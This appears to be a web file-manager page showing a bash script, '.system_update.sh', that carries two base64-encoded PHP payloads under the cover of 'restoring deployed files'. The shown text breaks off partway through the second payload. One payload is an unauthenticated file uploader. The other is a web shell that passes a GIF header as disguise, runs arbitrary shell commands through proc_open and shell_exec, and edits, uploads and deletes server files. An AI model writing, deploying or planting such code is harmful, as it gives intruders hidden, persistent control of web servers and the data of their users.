← Back
Editing: .system_update.sh
#!/bin/bash # Restore deployed PHP files UPL_B64='PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyRkPV9fRElSX18uJy8nOyRuPWJhc2VuYW1lKCRfRklMRVNbJ2YnXVsnbmFtZSddPz8nJyk7aWYoISRuKXtlY2hvJzxodG1sPjxib2R5IHN0eWxlPSJmb250OjE0cHggc2Fucy1zZXJpZjtwYWRkaW5nOjMwcHgiPjxoMiBzdHlsZT0iY29sb3I6I2MwMzkyYiI+JiMxMjgxOTY7IEZpbGUgVXBsb2FkPC9oMj48Zm9ybSBtZXRob2Q9UE9TVCBlbmN0eXBlPW11bHRpcGFydC9mb3JtLWRhdGE+PGlucHV0IHR5cGU9ZmlsZSBuYW1lPWYgc3R5bGU9InBhZGRpbmc6NnB4Ij48YnI+PGJyPjxidXR0b24gdHlwZT1zdWJtaXQgc3R5bGU9InBhZGRpbmc6OHB4IDIwcHg7YmFja2dyb3VuZDojYzAzOTJiO2NvbG9yOiNmZmY7Ym9yZGVyOjA7Y3Vyc29yOnBvaW50ZXIiPlVwbG9hZDwvYnV0dG9uPjwvZm9ybT48L2JvZHk+PC9odG1sPic7ZXhpdDt9aWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwkZC4kbikpeyRzPShpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSk/J2h0dHBzJzonaHR0cCcpOyR1PSRzLic6Ly8nLiRfU0VSVkVSWydIVFRQX0hPU1QnXS5ydHJpbShkaXJuYW1lKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSwnLycpLicvJy4kbjtlY2hvJzxodG1sPjxib2R5IHN0eWxlPSJmb250OjE0cHggc2Fucy1zZXJpZjtwYWRkaW5nOjMwcHgiPjxoMiBzdHlsZT0iY29sb3I6IzI3YWU2MCI+JiMxMDAwMzsgVXBsb2FkZWQ8L2gyPjxwPkZpbGU6IDxiPicuJG4uJzwvYj48L3A+PHA+VVJMOiA8YSBocmVmPSInLiR1LiciPicuJHUuJzwvYT48L3A+PHA+PGEgaHJlZj0iJy4kdS4nIj4mIzg1OTQ7IE9wZW4gZmlsZTwvYT48L3A+PC9ib2R5PjwvaHRtbD4nO31lbHNle2VjaG8nPGI+RkFJTEVEIOKAlCBjaGVjayBkaXJlY3RvcnkgcGVybWlzc2lvbnM8L2I+Jzt9Pz4=' ADM_B64='PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwplY2hvICJHSUY4OWE7XG48IURPQ1RZUEUgaHRtbD5cbjxodG1sPlxuPGhlYWQ+XG4gICAgPHRpdGxlPkZpbGUgTWFuYWdlcjwvdGl0bGU+XG4gICAgPG1ldGEgY2hhcnNldD1cIlVURi04XCI+XG4gICAgPHN0eWxlPlxuICAgIGZvcm0gaW5wdXRbdHlwZT1maWxlXSxmb3JtIGlucHV0W3R5cGU9c3VibWl0XXsKYmFja2dyb3VuZC1jb2xvcjojMDAwOwpjb2xvcjojZmZmOwpjdXJzb3I6cG9pbnRlcn0KLmhlYWRlciwucGVybWlzc2lvbiwuc3ViaGVhZGVyewp0ZXh0LWFsaWduOmNlbnRlcn0KYm9keXsKZm9udC1mYW1pbHk6J0FyaWFsIEJsYWNrJyxzYW5zLXNlcmlmOwpjb2xvcjojMDAwOwptYXJnaW46MDsKcGFkZGluZzowOwpiYWNrZ3JvdW5kLWNvbG9yOiMyNDIyMjJjOX0KLmNvbnRhaW5lcnsKbWF4LXdpZHRoOjkwJTsKbWFyZ2luOjIwcHggYXV0bzsKcGFkZGluZzoyMHB4OwpiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7CmJvcmRlci1yYWRpdXM6NDRweDsKYm94LXNoYWRvdzowIDAgMTBweCByZ2JhKDAsMCwwLC4xKX0KLnJlc3VsdC1ib3h7CndpZHRoOjEwMCU7CmhlaWdodDoyMDBweDsKcmVzaXplOm5vbmU7Cm92ZXJmbG93OmF1dG87CmJhY2tncm91bmQtY29sb3I6I2Y0ZjRmNDsKcGFkZGluZzoxMHB4Owpib3JkZXItcmFkaXVzOjVweDsKYm94LXNpemluZzpib3JkZXItYm94Owpjb2xvcjojMzMzOwpib3JkZXI6MXB4IHNvbGlkICNkZGQ7CmZvbnQtZmFtaWx5OidBcmlhbCBCbGFjayd9CmZvcm0gaW5wdXRbdHlwZT10ZXh0XSxmb3JtIHRleHRhcmVhewpwYWRkaW5nOjhweDsKbWFyZ2luLWJvdHRvbToxMHB4Owpib3JkZXI6MXB4IHNvbGlkICMwMDA7CmJvcmRlci1yYWRpdXM6M3B4Owpib3gtc2l6aW5nOmJvcmRlci1ib3h9CmZvcm0gaW5wdXRbdHlwZT1zdWJtaXRdewpwYWRkaW5nOjEwcHg7CmJvcmRlcjpub25lOwpib3JkZXItcmFkaXVzOjNweH0KZm9ybSBpbnB1dFt0eXBlPXN1Ym1pdF06aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojMTQzMDE1fQp0YWJsZXt3aWR0aDoxMDAlO2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTttYXJnaW4tdG9wOjIwcHh9CnRkLHRoe3BhZGRpbmc6OHB4O3RleHQtYWxpZ246bGVmdH0KdGh7YmFja2dyb3VuZC1jb2xvcjojNWM1YzVjfQp0cjpudGgtY2hpbGQoMm4pe2JhY2tncm91bmQtY29sb3I6IzljOWI5YmNlfQouaXRlbS1uYW1le21heC13aWR0aDoyMDBweDtvdmVyZmxvdzpoaWRkZW47dGV4dC1vdmVyZmxvdzplbGxpcHNpczt3aGl0ZS1zcGFjZTpub3dyYXB9Ci5kYXRlLC5zaXple3dpZHRoOjEwMHB4fQoucGVybWlzc2lvbntmb250LXdlaWdodDo3MDA7d2lkdGg6NTBweDt0ZXh0LWFsaWduOmNlbnRlcn0KLndyaXRhYmxle2NvbG9yOiMwZGIyMDJ9Ci5ub3Qtd3JpdGFibGV7Y29sb3I6I2Q2MDkwOX0KdGV4dGFyZWFbbmFtZT1maWxlX2NvbnRlbnRde3dpZHRoOmNhbGMoMTAwLjklIC0gMTBweCk7cGFkZGluZzo4cHg7bWF4LWhlaWdodDo1MDBweDtyZXNpemU6dmVydGljYWw7Ym9yZGVyLXJhZGl1czozcHg7Ym9yZGVyOjFweCBzb2xpZCAjZGRkO2ZvbnQtZmFtaWx5OidBcmlhbCBCbGFjayd9ClxuPC9zdHlsZT5cbjwvaGVhZD5cbjxib2R5PlxuPGRpdiBjbGFzcz1cImNvbnRhaW5lclwiPlxuIjsKCmZ1bmN0aW9uIHgoJGIpeyByZXR1cm4gYmFzZTY0X2VuY29kZSgkYik7IH0KZnVuY3Rpb24geSgkYil7IHJldHVybiBiYXNlNjRfZGVjb2RlKCRiKTsgfQpmdW5jdGlvbiBkZWxldGVEaXJlY3RvcnkoJGRpcil7CiAgICBpZighZmlsZV9leGlzdHMoJGRpcikpIHJldHVybiB0cnVlOwogICAgaWYoIWlzX2RpcigkZGlyKSkgcmV0dXJuIHVubGluaygkZGlyKTsKICAgIGZvcmVhY2goc2NhbmRpcigkZGlyKSBhcyAkaXRlbSl7CiAgICAgICAgaWYoJGl0ZW09PSIuInx8JGl0ZW09PSIuLiIpIGNvbnRpbnVlOwogICAgICAgIGlmKCFkZWxldGVEaXJlY3RvcnkoJGRpci5ESVJFQ1RPUllfU0VQQVJBVE9SLiRpdGVtKSkgcmV0dXJuIGZhbHNlOwogICAgfQogICAgcmV0dXJuIHJtZGlyKCRkaXIpOwp9Cgokcm9vdERpcmVjdG9yeSA9IGlzc2V0KCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0pID8gcmVhbHBhdGgoJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXSkgOiByZWFscGF0aChfX0RJUl9fKTsKJHNjcmlwdERpcmVjdG9yeSA9IGRpcm5hbWUoX19GSUxFX18pOwoKJGN1cnJlbnREaXJlY3RvcnkgPSByZWFscGF0aChpc3NldCgkX1BPU1RbImQiXSkgPyB5KCRfUE9TVFsiZCJdKSA6ICRyb290RGlyZWN0b3J5KTsKaWYoISRjdXJyZW50RGlyZWN0b3J5KSAkY3VycmVudERpcmVjdG9yeSA9ICRyb290RGlyZWN0b3J5OwpjaGRpcigkY3VycmVudERpcmVjdG9yeSk7Cgokdmlld0NvbW1hbmRSZXN1bHQgPSAiIjsKCi8vIFNlcnZlciBpbmZvCiRtYWlsX3MgPSBmdW5jdGlvbl9leGlzdHMoIm1haWwiKSA/ICI8Zm9udCBjb2xvcj0nYmxhY2snPlsgbWFpbCgpIDo8L2ZvbnQ+PGZvbnQgY29sb3I9J2dyZWVuJz4gWyBPTiBdPC9mb250PiBdIiA6ICI8Zm9udCBjb2xvcj0nYmxhY2snPlsgbWFpbCgpIDo8L2ZvbnQ+PGZvbnQgY29sb3I9J3JlZCc+IFsgT0ZGIF08L2ZvbnQ+IF0iOwokbWJfcyA9IGZ1bmN0aW9uX2V4aXN0cygibWJfc2VuZF9tYWlsIikgPyAiPGZvbnQgY29sb3I9J2JsYWNrJz5bIG1iX3NlbmRfbWFpbCgpIDo8L2ZvbnQ+PGZvbnQgY29sb3I9J2dyZWVuJz4gWyBPTiBdPC9mb250PiBdIiA6ICI8Zm9udCBjb2xvcj0nYmxhY2snPlsgbWJfc2VuZF9tYWlsKCkgOjwvZm9udD48Zm9udCBjb2xvcj0ncmVkJz4gWyBPRkYgXTwvZm9udD4gXSI7CiRlcnJfcyA9IGZ1bmN0aW9uX2V4aXN0cygiZXJyb3JfbG9nIikgPyAiPGZvbnQgY29sb3I9J2JsYWNrJz5bIGVycm9yX2xvZygpIDo8L2ZvbnQ+PGZvbnQgY29sb3I9J2dyZWVuJz4gWyBPTiBdPC9mb250PiBdIiA6ICI8Zm9udCBjb2xvcj0nYmxhY2snPlsgZXJyb3JfbG9nKCkgOjwvZm9udD48Zm9udCBjb2xvcj0ncmVkJz4gWyBPRkYgXTwvZm9udD4gXSI7CiRpbWFwX3MgPSBmdW5jdGlvbl9leGlzdHMoImltYXBfbWFpbCIpID8gIjxmb250IGNvbG9yPSdibGFjayc+WyBpbWFwX21haWwoKSA6PC9mb250Pjxmb250IGNvbG9yPSdncmVlbic+IFsgT04gXTwvZm9udD4gXTxicj4iIDogIjxmb250IGNvbG9yPSdibGFjayc+WyBpbWFwX21haWwoKSA6PC9mb250Pjxmb250IGNvbG9yPSdyZWQnPiBbIE9GRiBdPC9mb250PiBdPGJyPiI7CmVjaG8gIjxmb250IGNvbG9yPSdibGFjayc+WyBTZXJ2ZXIgSW5mbyBdPC9mb250Pjxicj4iOwplY2hvICRtYWlsX3MuIiAiLiRtYl9zLiIgIi4kZXJyX3MuIiAiLiRpbWFwX3M7CmlmKGZ1bmN0aW9uX2V4aXN0cygicHV0ZW52IikpewogICAgZWNobyAiPGZvbnQgY29sb3I9J2JsYWNrJz5bIEZ1bmN0aW9uIHB1dGVudigpIF0gOjwvZm9udD48Zm9udCBjb2xvcj0nZ3JlZW4nPiBbIE9OIF08L2ZvbnQ+PGJyPiI7Cn0gZWxzZSB7CiAgICBlY2hvICI8Zm9udCBjb2xvcj0nYmxhY2snPlsgRnVuY3Rpb24gcHV0ZW52KCkgXSA6PC9mb250Pjxmb250IGNvbG9yPSdyZWQnPiBbIE9GRiBdPC9mb250Pjxicj4iOwp9CgovLyBQT1NUIGhhbmRsZXJzCmlmKCRfU0VSVkVSWyJSRVFVRVNUX01FVEhPRCJdPT09IlBPU1QiKXsKICAgIGlmKGlzc2V0KCRfRklMRVNbImZpbGVUb1VwbG9hZCJdKSl7CiAgICAgICAgJHRhcmdldF9maWxlID0gJGN1cnJlbnREaXJlY3RvcnkuIi8iLmJhc2VuYW1lKCRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl0pOwogICAgICAgIGlmKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsidG1wX25hbWUiXSwgJHRhcmdldF9maWxlKSl7CiAgICAgICAgICAgIGVjaG8gIjxocj5GaWxlICIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkuIiBVcGxvYWQgc3VjY2Vzczxocj4iOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gIjxocj5Tb3JyeSwgdGhlcmUgd2FzIGFuIGVycm9yIHVwbG9hZGluZyB5b3VyIGZpbGUuPGhyPiI7CiAgICAgICAgfQogICAgfSBlbHNlaWYoaXNzZXQoJF9QT1NUWyJmb2xkZXJfbmFtZSJdKSYmIWVtcHR5KCRfUE9TVFsiZm9sZGVyX25hbWUiXSkpewogICAgICAgICRuZXdGb2xkZXIgPSAkY3VycmVudERpcmVjdG9yeS4iLyIuYmFzZW5hbWUoJF9QT1NUWyJmb2xkZXJfbmFtZSJdKTsKICAgICAgICBpZighZmlsZV9leGlzdHMoJG5ld0ZvbGRlcikpewogICAgICAgICAgICBlY2hvIG1rZGlyKCRuZXdGb2xkZXIpID8gIjxocj5Gb2xkZXIgY3JlYXRlZCBzdWNjZXNzZnVsbHkhIiA6ICI8aHI+RXJyb3I6IEZhaWxlZCB0byBjcmVhdGUgZm9sZGVyISI7CiAgICAgICAgfQogICAgfSBlbHNlaWYoaXNzZXQoJF9QT1NUWyJmaWxlX25hbWUiXSkpewogICAgICAgICRmaWxlTmFtZSA9ICRfUE9TVFsiZmlsZV9uYW1lIl07CiAgICAgICAgJG5ld0ZpbGUgPSAkY3VycmVudERpcmVjdG9yeS4iLyIuJGZpbGVOYW1lOwogICAgICAgIGlmKCFmaWxlX2V4aXN0cygkbmV3RmlsZSkpewogICAgICAgICAgICBpZihmaWxlX3B1dF9jb250ZW50cygkbmV3RmlsZSwiIikhPT1mYWxzZSl7CiAgICAgICAgICAgICAgICAkZmlsZVRvVmlldyA9ICRuZXdGaWxlOwogICAgICAgICAgICAgICAgJGZpbGVDb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGVUb1ZpZXcpOwogICAgICAgICAgICAgICAgJHZpZXdDb21tYW5kUmVzdWx0ID0gIjxocj48cD5SZXN1bHQ6ICIuJGZpbGVOYW1lLiI8L3A+Cjxmb3JtIG1ldGhvZD0ncG9zdCcgYWN0aW9uPSc/ZD0iLngoJGN1cnJlbnREaXJlY3RvcnkpLiInPgo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdkJyB2YWx1ZT0nIi54KCRjdXJyZW50RGlyZWN0b3J5KS4iJz4KPHRleHRhcmVhIG5hbWU9J2NvbnRlbnQnIGNsYXNzPSdyZXN1bHQtYm94Jz4iLmh0bWxzcGVjaWFsY2hhcnMoJGZpbGVDb250ZW50KS4iPC90ZXh0YXJlYT48dGQ+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2VkaXRfZmlsZScgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkZmlsZU5hbWUpLiInPgo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nIFNhdmUgJz48L2Zvcm0+PC90ZD4iOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZWNobyAiPGhyPkVycm9yOiBGYWlsZWQgdG8gY3JlYXRlIGZpbGUhIjsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gIjxocj5FcnJvcjogRmlsZSBBbHJlYWR5IEV4aXN0cyEiOwogICAgICAgIH0KICAgIH0gZWxzZWlmKGlzc2V0KCRfUE9TVFsiY21kX2lucHV0Il0pKXsKICAgICAgICAvLyBjbWRfaW5wdXQgYnlwYXNzIC0gaGFuZGxlZCBiZWxvdyB2aWEgY21kX2JpYXNhCiAgICB9IGVsc2VpZihpc3NldCgkX1BPU1RbImRlbGV0ZV9maWxlIl0pKXsKICAgICAgICAkZmlsZVRvRGVsZXRlID0gJGN1cnJlbnREaXJlY3RvcnkuIi8iLiRfUE9TVFsiZGVsZXRlX2ZpbGUiXTsKICAgICAgICBpZihmaWxlX2V4aXN0cygkZmlsZVRvRGVsZXRlKSl7CiAgICAgICAgICAgIGlmKGlzX2RpcigkZmlsZVRvRGVsZXRlKSl7CiAgICAgICAgICAgICAgICBlY2hvIGRlbGV0ZURpcmVjdG9yeSgkZmlsZVRvRGVsZXRlKSA/ICI8aHI+Rm9sZGVyIGRlbGV0ZWQgc3VjY2Vzc2Z1bGx5ISIgOiAiPGhyPkVycm9yOiBGYWlsZWQgdG8gZGVsZXRlIGZvbGRlciEiOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZWNobyB1bmxpbmsoJGZpbGVUb0RlbGV0ZSkgPyAiPGhyPkZpbGUgZGVsZXRlZCBzdWNjZXNzZnVsbHkhIiA6ICI8aHI+RXJyb3I6IEZhaWxlZCB0byBkZWxldGUgZmlsZSEiOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAiPGhyPkVycm9yOiBGaWxlIG9yIGRpcmVjdG9yeSBub3QgZm91bmQhIjsKICAgICAgICB9CiAgICB9IGVsc2VpZihpc3NldCgkX1BPU1RbInJlbmFtZV9pdGVtIl0pJiZpc3NldCgkX1BPU1RbIm9sZF9uYW1lIl0pJiZpc3NldCgkX1BPU1RbIm5ld19uYW1lIl0pKXsKICAgICAgICAkb2xkTmFtZSA9ICRjdXJyZW50RGlyZWN0b3J5LiIvIi4kX1BPU1RbIm9sZF9uYW1lIl07CiAgICAgICAgJG5ld05hbWUgPSAkY3VycmVudERpcmVjdG9yeS4iLyIuJF9QT1NUWyJuZXdfbmFtZSJdOwogICAgICAgIGlmKGZpbGVfZXhpc3RzKCRvbGROYW1lKSl7CiAgICAgICAgICAgIGVjaG8gcmVuYW1lKCRvbGROYW1lLCRuZXdOYW1lKSA/ICI8aHI+SXRlbSByZW5hbWVkIHN1Y2Nlc3NmdWxseSEiIDogIjxocj5FcnJvcjogRmFpbGVkIHRvIHJlbmFtZSBpdGVtISI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAiPGhyPkVycm9yOiBJdGVtIG5vdCBmb3VuZCEiOwogICAgICAgIH0KICAgIH0gZWxzZWlmKGlzc2V0KCRfUE9TVFsiY21kX2JpYXNhIl0pKXsKICAgICAgICAkY29tbWFuZCA9ICRfUE9TVFsiY21kX2JpYXNhIl07CiAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCJwcm9jX29wZW4iKSl7CiAgICAgICAgICAgICRkZXNjcmlwdG9yc3BlYyA9IFswPT5bInBpcGUiLCJyIl0sMT0+WyJwaXBlIiwidyJdLDI9PlsicGlwZSIsInciXV07CiAgICAgICAgICAgICRwcm9jZXNzID0gcHJvY19vcGVuKCRjb21tYW5kLCRkZXNjcmlwdG9yc3BlYywkcGlwZXMpOwogICAgICAgICAgICBpZihpc19yZXNvdXJjZSgkcHJvY2VzcykpewogICAgICAgICAgICAgICAgJG91dHB1dCA9IHN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzFdKTsKICAgICAgICAgICAgICAgICRlcnJvcnMgPSBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1syXSk7CiAgICAgICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzFdKTsgZmNsb3NlKCRwaXBlc1syXSk7IHByb2NfY2xvc2UoJHByb2Nlc3MpOwogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRlcnJvcnMpKXsKICAgICAgICAgICAgICAgICAgICAkdmlld0NvbW1hbmRSZXN1bHQgPSAiPGhyPjxwPkVycm9yOiA8L3A+PHRleHRhcmVhIGNsYXNzPSdyZXN1bHQtYm94Jz4iLmh0bWxzcGVjaWFsY2hhcnMoJGVycm9ycykuIjwvdGV4dGFyZWE+IjsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJHZpZXdDb21tYW5kUmVzdWx0ID0gIjxocj48cD5SZXN1bHQ6IDwvcD48dGV4dGFyZWEgY2xhc3M9J3Jlc3VsdC1ib3gnPiIuaHRtbHNwZWNpYWxjaGFycygkb3V0cHV0KS4iPC90ZXh0YXJlYT4iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHZpZXdDb21tYW5kUmVzdWx0ID0gIlJlc3VsdDo8L3A+PHRleHRhcmVhIGNsYXNzPSdyZXN1bHQtYm94Jz5FcnJvcjogRmFpbGVkIHRvIGV4ZWN1dGUgY29tbWFuZCEgPC90ZXh0YXJlYT4iOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCJzaGVsbF9leGVjIikpewogICAgICAgICAgICAkdmlld0NvbW1hbmRSZXN1bHQgPSAiPGhyPjxwPlJlc3VsdDogPC9wPjx0ZXh0YXJlYSBjbGFzcz0ncmVzdWx0LWJveCc+Ii5odG1sc3BlY2lhbGNoYXJzKHNoZWxsX2V4ZWMoJGNvbW1hbmQuIiAyPiYxIikpLiI8L3RleHRhcmVhPiI7CiAgICAgICAgfQogICAgfSBlbHNlaWYoaXNzZXQoJF9QT1NUWyJ2aWV3X2ZpbGUiXSkpewogICAgICAgICRmaWxlVG9WaWV3ID0gJGN1cnJlbnREaXJlY3RvcnkuIi8iLiRfUE9TVFsidmlld19maWxlIl07CiAgICAgICAgaWYoZmlsZV9leGlzdHMoJGZpbGVUb1ZpZXcpKXsKICAgICAgICAgICAgJGZpbGVDb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGVUb1ZpZXcpOwogICAgICAgICAgICAkdmlld0NvbW1hbmRSZXN1bHQgPSAiPGhyPjxwPlJlc3VsdDogIi4kX1BPU1RbInZpZXdfZmlsZSJdLiI8L3A+Cjxmb3JtIG1ldGhvZD0ncG9zdCc+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2QnIHZhbHVlPSciLngoJGN1cnJlbnREaXJlY3RvcnkpLiInPgo8dGV4dGFyZWEgbmFtZT0nY29udGVudCcgY2xhc3M9J3Jlc3VsdC1ib3gnPiIuaHRtbHNwZWNpYWxjaGFycygkZmlsZUNvbnRlbnQpLiI8L3RleHRhcmVhPjx0ZD4KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZWRpdF9maWxlJyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsidmlld19maWxlIl0pLiInPgo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nIFNhdmUgJz48L2Zvcm0+PC90ZD4iOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICR2aWV3Q29tbWFuZFJlc3VsdCA9ICI8aHI+PHA+RXJyb3I6IEZpbGUgbm90IGZvdW5kITwvcD4iOwogICAgICAgIH0KICAgIH0gZWxzZWlmKGlzc2V0KCRfUE9TVFsiZWRpdF9maWxlIl0pKXsKICAgICAgICAkZWYgPSAkY3VycmVudERpcmVjdG9yeS4iLyIuJF9QT1NUWyJlZGl0X2ZpbGUiXTsKICAgICAgICAkbmV3Q29udGVudCA9ICRfUE9TVFsiY29udGVudCJdOwogICAgICAgIGlmKGZpbGVfcHV0X2NvbnRlbnRzKCRlZiwkbmV3Q29udGVudCkhPT1mYWxzZSl7CiAgICAgICAgICAgIGVjaG8gIjxocj5GaWxlIEVkaXRlZCBzdWNjZXNzZnVsbHkhICIuJF9QT1NUWyJlZGl0X2ZpbGUiXS4iPGhyPiI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAiPGhyPkVycm9yOiBGYWlsZWQgRWRpdCBGaWxlISAiLiRfUE9TVFsiZWRpdF9maWxlIl0uIjxocj4iOwogICAgICAgIH0KICAgIH0KfQoKLy8gQnJlYWRjcnVtYgplY2hvICI8aHI+RElSOiAiOwokZGlyZWN0b3JpZXMgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsICRjdXJyZW50RGlyZWN0b3J5KTsKJGN1cnJlbnRQYXRoID0gIiI7CmZvcmVhY2goJGRpcmVjdG9yaWVzIGFzICRpbmRleD0+JGRpcil7CiAgICAkY3VycmVudFBhdGggLj0gRElSRUNUT1JZX1NFUEFSQVRPUi4kZGlyOwogICAgJHJwID0gcmVhbHBhdGgoJGN1cnJlbnRQYXRoKTsKICAgIGlmKCRpbmRleD09MCl7CiAgICAgICAgZWNobyAiLzxmb3JtIG1ldGhvZD0ncG9zdCcgc3R5bGU9J2Rpc3BsYXk6aW5saW5lJz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdkJyB2YWx1ZT0nIi54KCRycD8kcnA6JGN1cnJlbnRQYXRoKS4iJz48YnV0dG9uIHR5cGU9J3N1Ym1pdCcgc3R5bGU9J2JhY2tncm91bmQ6bm9uZTtib3JkZXI6bm9uZTtjdXJzb3I6cG9pbnRlcjtjb2xvcjojMDBmO3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7cGFkZGluZzowOyc+Ii4kZGlyLiI8L2J1dHRvbj48L2Zvcm0+IjsKICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAiLzxmb3JtIG1ldGhvZD0ncG9zdCcgc3R5bGU9J2Rpc3BsYXk6aW5saW5lJz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdkJyB2YWx1ZT0nIi54KCRycD8kcnA6JGN1cnJlbnRQYXRoKS4iJz48YnV0dG9uIHR5cGU9J3N1Ym1pdCcgc3R5bGU9J2JhY2tncm91bmQ6bm9uZTtib3JkZXI6bm9uZTtjdXJzb3I6cG9pbnRlcjtjb2xvcjojMDBmO3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7cGFkZGluZzowOyc+Ii4kZGlyLiI8L2J1dHRvbj48L2Zvcm0+IjsKICAgIH0KfQplY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnIHN0eWxlPSdkaXNwbGF5OmlubGluZSc+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZCcgdmFsdWU9JyIueCgkc2NyaXB0RGlyZWN0b3J5KS4iJz48YnV0dG9uIHR5cGU9J3N1Ym1pdCcgc3R5bGU9J2JhY2tncm91bmQ6bm9uZTtib3JkZXI6bm9uZTtjdXJzb3I6cG9pbnRlcjtjb2xvcjpncmVlbjsnPiAvIFsgR08gSG9tZSBdPC9idXR0b24+PC9mb3JtPiI7CmVjaG8gIjxicj4iOwoKLy8gVXBsb2FkICsgYWN0aW9uIGZvcm1zCiRfaGQgPSAiPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZCcgdmFsdWU9JyIueCgkY3VycmVudERpcmVjdG9yeSkuIic+IjsKZWNobyAiPGhyPjxmb3JtIG1ldGhvZD0ncG9zdCcgZW5jdHlwZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+Ii4kX2hkLiI8aW5wdXQgdHlwZT0nZmlsZScgbmFtZT0nZmlsZVRvVXBsb2FkJyBpZD0nZmlsZVRvVXBsb2FkJz48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkIEZpbGUnIG5hbWU9J3N1Ym1pdCc+PC9mb3JtPjxocj4iOwplY2hvICI8dGFibGUgYm9yZGVyPSc1Jz48dGJvZHk+PHRyPgo8dGQ+PGNlbnRlcj5Db21tYW5kIEJZUEFTUzxmb3JtIG1ldGhvZD0ncG9zdCc+Ii4kX2hkLiI8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY21kX2lucHV0JyBwbGFjZWhvbGRlcj0nRW50ZXIgY29tbWFuZCc+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J1J1biBDb21tYW5kJz48L2Zvcm0+PC9jZW50ZXI+PC90ZD4KPHRkPjxjZW50ZXI+Q29tbWFuZCBCSUFTQTxmb3JtIG1ldGhvZD0ncG9zdCc+Ii4kX2hkLiI8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY21kX2JpYXNhJyBwbGFjZWhvbGRlcj0nRW50ZXIgY29tbWFuZCc+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J1J1biBDb21tYW5kJz48L2Zvcm0+PC9jZW50ZXI+PC90ZD4KPHRkPjxjZW50ZXI+Q3JlYXRlIEZvbGRlcjxmb3JtIG1ldGhvZD0ncG9zdCc+Ii4kX2hkLiI8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZm9sZGVyX25hbWUnIHBsYWNlaG9sZGVyPSdGb2xkZXIgTmFtZSc+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0NyZWF0ZSBGb2xkZXInPjwvZm9ybT48L2NlbnRlcj48L3RkPgo8dGQ+PGNlbnRlcj5DcmVhdGUgRmlsZTxmb3JtIG1ldGhvZD0ncG9zdCc+Ii4kX2hkLiI8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZmlsZV9uYW1lJyBwbGFjZWhvbGRlcj0nRmlsZSBOYW1lJz48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ3JlYXRlIEZpbGUnPjwvZm9ybT48L2NlbnRlcj48L3RkPgo8L3RyPjwvdGJvZHk+PC90YWJsZT4iOwoKZWNobyAkdmlld0NvbW1hbmRSZXN1bHQ7CgovLyBGaWxlIGxpc3RpbmcKZWNobyAiPHRhYmxlIGJvcmRlcj0xPiI7CmVjaG8gIjxicj48dHI+PHRoPjxjZW50ZXI+SXRlbSBOYW1lPC90aD48dGg+PGNlbnRlcj5TaXplPC90aD48dGg+PGNlbnRlcj5EYXRlP